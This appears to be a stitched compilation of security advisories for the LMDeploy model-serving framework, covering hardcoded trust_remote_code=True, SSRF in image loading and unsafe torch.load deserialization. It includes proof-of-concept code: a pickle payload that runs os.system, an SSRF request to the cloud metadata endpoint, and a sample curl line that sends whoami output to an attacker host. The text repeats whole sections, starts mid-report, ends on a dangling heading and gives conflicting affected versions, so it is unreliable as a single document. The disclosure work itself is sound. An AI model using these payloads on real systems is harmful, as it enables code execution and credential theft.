LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

• CWE-502: Deserialization of Untrusted Data
• Trail of Bits: Exploiting ML Pickle Files
• Rapid7: Attackers Weaponizing AI Models

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary
